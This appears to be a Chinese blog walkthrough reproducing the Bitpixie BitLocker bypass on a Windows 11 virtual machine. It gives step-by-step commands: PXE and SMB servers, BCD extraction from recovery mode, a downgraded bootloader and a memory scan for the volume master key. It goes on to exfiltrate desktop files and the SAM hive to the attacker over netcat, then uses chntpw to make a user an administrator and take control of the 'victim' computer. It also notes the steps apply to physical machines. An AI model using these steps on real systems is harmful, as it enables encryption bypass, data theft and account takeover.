虚拟机复现。本机(攻击机)使用 Ubuntu 22.04.5 LTS 系统,受害机分别为 Windows 10 21H2 19041.1 和 Windows 11 21H2 22000.318,均启用了 BitLocker 加密。使用 QEMU 作为虚拟机管理器,使用 virt-manager 进行管理,这里我使用虚拟机 Windows 11 进行操作。
我的复现相关文件来源于 Syss 的 Github 仓库,在其基础上进行工具的版本适配以及一些意外情况的处理。可以做到下载直接使用,或者根据需要进行修改。虚拟机镜像文件来自于 UUP Dump,上面提供了各种 Windows 版本下载,下载后执行 cmd 文件或者 sh 文件即可以得到 ISO 镜像文件。
对于 QEMU 和 virt-manager 的安装和使用,这里不再赘述,不过我们新下载的用户在 virt-manager 中通过 "Edit -> Preferences -> General -> Enable XML editing" 来启用 XML 编辑功能,这样我们就可以直接编辑虚拟机的 XML 配置文件了。
创建虚拟机时,选择 "Local install media (ISO image or CDROM)",并选择之前下载的 Windows 11 ISO 镜像文件。分配适当的资源(CPU、内存、磁盘空间等),并最后一定要选择 "Customize configuration before install",这样我们就可以在安装之前编辑配置文件了。在这里,可能在识别自动系统时有问题,这个时候我们可以自己动手选择 "Microsoft Windows 10/11"。
现在我们开始进行配置,最重要的一点(因为这个不能在后面改,其他的可以创建后重复修改),在 Overview 标签页中,选择 Firmware 为 "UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd"。如果没有选择这个的话直接删掉虚拟机重新布置,反正也不麻烦。

然后进入 "Boot Options" 标签页,确保 "SATA CDROM 1" 被勾选,否则我们无法安装系统,您可以将 "SATA CDROM 1" 移动到列表顶部,这样启动时会简单一些。这个时候就可以直接创建了,我们安装后系统后再进行统一的其余配置修改。
看见 "Press any key to boot from CD or DVD..." 了么?按任意键进入安装界面,按照提示完成安装。如果一不小心进入了一下页面,不用惊慌选到 "Boot Manager" ,随后选择 "UEFI: QEMU DVD-ROM" 就可以回到原来的界面按任意键启动了。

接下来安装系统,直接勾选没有产品密钥,安装专业版即可。后面就是注册账户什么乱七八糟的,建议直接脱机启动,减少麻烦。如果没有这个选项的话,使用 Shift + F10 打开命令提示符,输入 OOBE\BYPASSNRO 来启用脱机账户创建选项。
正常进来以后,可以在终端中输入 msinfo32 查看系统信息(物理机检查是否为 UEFI),然后直接关机,然后来改配置:
<rom enabled="no"/> 来启用网络引导,以下是示例:<interface type="network">
<mac address="52:54:00:2f:53:4e"/>
<source network="default"/>
<model type="virtio"/>
<boot order="2"/>
<rom enabled="no"/>
<address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>
选用 virtio 的网络配置,主要是其网络硬件 “半虚拟化” 特性,直接和主机通信。同时,关闭网络引导 ROM 是为了直接让 UEFI 固件通过内置的 PXE 协议和 virtio 网卡通信避免在启动过程中出现不必要的干扰,确保我们能够顺利地进入系统并进行后续的配置和测试。
进入虚拟机,用 CD 驱动器安装 virtio 驱动,自动就帮我们配置好了,可以简单测试一下网络是否正常。随后,进行 Bitlocker 加密,可以在桌面新建一个 flag 文件,以便后续验证。
如果使用物理机进行复现的话,只需要用网线连接攻击机和受害机,不用配置 virtio,其他的配置基本上是一样的,唯一需要注意的是物理机的网络接口可能会有多个,需要选择正确的接口进行配置。
对于受害机的配置就完成了,然后直接关机,接下来我们就可以按照前面漏洞利用原理中制定的步骤来进行漏洞利用了。
这里我们给出全流程攻击的参考图,可以先大致看一下流程,后面我们会逐步进行实现:

本机(攻击机)上必须安装以下软件包:
在 Ubuntu 或者 Debian 上,可以使用以下命令安装:
sudo apt install dnsmasq libwin-hivex-perl python3-impacket
在项目给的文件中,执行 build.sh 文件生成 bitpixie-initramfs。如果要自行修改适配本地的环境,可以在 build.sh 中修改,配置自己想要的工具以及版本文件,然后执行重新生成 bitpixie-initramfs。
然后,在终端输入 ifconfig 查询我们本机(攻击机)的虚拟网关,下面以我本机的为例子:
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.123.1 netmask 255.255.255.0 broadcast 192.168.123.255
ether 52:54:00:23:11:39 txqueuelen 1000 (Ethernet)
RX packets 46749 bytes 4384179 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67170 bytes 414459630 (414.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
使用以下命令启动用于 PXE 启动过程的 TFTP 服务器以及用于传输修改 BCD 文件的脚本的 SMB 服务器,填入我们刚刚查询的内容,我的是 virbr0。
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>
主要问题在于该 bcdedit 命令只能以本地管理员身份运行。然而,由于 BCD 文件位于驱动器的未加密 EFI 分区上,因此有多种方法可以提取它。一种方法是物理移除硬盘驱动器,然后在另一台系统上提取 BCD 文件。不过,更简单、侵入性更小的方法是启动到高级启动选项。在大多数系统中,Shift + 重启 即可完成此操作。即使在登录屏幕上,此方法也有效。现在可以在 “疑难解答 -> 高级选项 -> 命令提示符” 下输入命令行。在此过程中,很可能会显示 BitLocker 恢复屏幕,可以使用 “跳过此驱动器” 按钮跳过此屏幕。
现在我们在终端先输入 ipconfig 看一下我们的网络情况,如果有显示 IP 为 10.13.37.xxx ,则可以直接跳过下面的步骤了,如果没有显示,则需要手动配置一下网络,首先查看可以正确的路径,查看是哪个盘以及选定自己虚拟机版本:
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64
随后根据结果输入以下命令配置网络:
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig

出现 IP 地址后,就可以进行 SMB 传输了,输入以下命令将修改后的 BCD 文件将直接移动到攻击者机器上,这样就可以直接开始执行实际的 bitpixie 攻击:
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat

接下来,我们回到页面,通过 "使用设备 -> PXE 启动" 来启动到降级后的引导加载程序,加载修改后的 BCD,解封磁盘,内核启动失败,并执行 pxesoftreboot。如果没有找到 PXE 启动,可以退出查看虚拟机配置,“Boot Options” 中的 NIC 选项是否被勾选。由于我们控制了 PXE 服务器,因此我们可以进入我们之前准备好的 Debian 系统。
随后,我们输入 root 进入,并使用 su 命令,然后对分区执行我们的脚本即可:
run-exploit /dev/sda3

如果一切顺利,会直接显示符合的 VMK 数据,同时我们在当前目录下看到一个 vmk.dat 的文件,这就是我们从内存中提取的 VMK 文件了。加密盘的内容挂载到 /mnt 目录下了,我们可以直接进入查看之前创建的 flag 文件了。

到此为止,我们就成功地利用了 Bitpixie 漏洞,提取了 BitLocker 加密磁盘的 VMK 文件,并成功访问了加密磁盘中的内容了。
当然,也会出现一些状况,例如没有找到 VMK 文件,这一种情况建议重新尝试一次,因为 VMK 可能没有被正确地保留在内存中,或者没有正确地扫描到,也有可能是因为 BCD 的版本对不上导致的。还有一种情况是找到了 VMK 文件,但是无法挂载加密盘,这可能是因为 VMK 文件不完整或者损坏了,一定要找到有效标识 03 20 01 00,可以尝试重新提取一次 VMK 文件,或者检查一下使用的工具是否支持当前系统的 BitLocker 版本(dislcker 版本固定了一个稳定老版本,可以重新下一个新的版本)。
到此为止,我们访问需要的文件了,但是我们还有没将电脑原来的文件导出,这里我们可以将所需要的数据直接通过网络传输到攻击机上,这里我选择直接通过网络传输到攻击机上,我的建议是传输有用的文件,就那些系统文件就没有必要了,这里我以桌面的 flag 文件和系统的 SAM 文件为例。
对于传输小文件,在攻击机上开启连接端口就行:
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM
在受害机上输入以下命令将文件传输到攻击机上:
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445
如果是传输文件夹的话就要先打包一下了,然后再传输了:
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446
虽然我们已经拿到了加密盘的访问权限了,但我们还没有完全控制受害者电脑。这个时候,我们可以使用 chntpw 这个工具来修改系统中的用户账户密码,从而获取管理员权限。当然我更推荐的是制造一个低权限用户,然后提权到管理员,这样更加稳定一些。
这里我将一个低权限用户 Dorange 提权至管理员,首先我们需要使用 chntpw 来修改用户账户的权限,以下是示例命令:
chntpw -u Dorange /mnt/Windows/System32/config/SAM
当然也可以先用命令进入,选择查看有什么用户:
chntpw - /mnt/Windows/System32/config/SAM

随后直接根据指引修改权限就可以了,可以选择直接修改权限,也可以将用户加入管理员组,反正差不了多少。这里推荐直接加入管理员组,这样更稳定一些,修改完成后可以使用命令 chntpw -i SAM 查看权限。
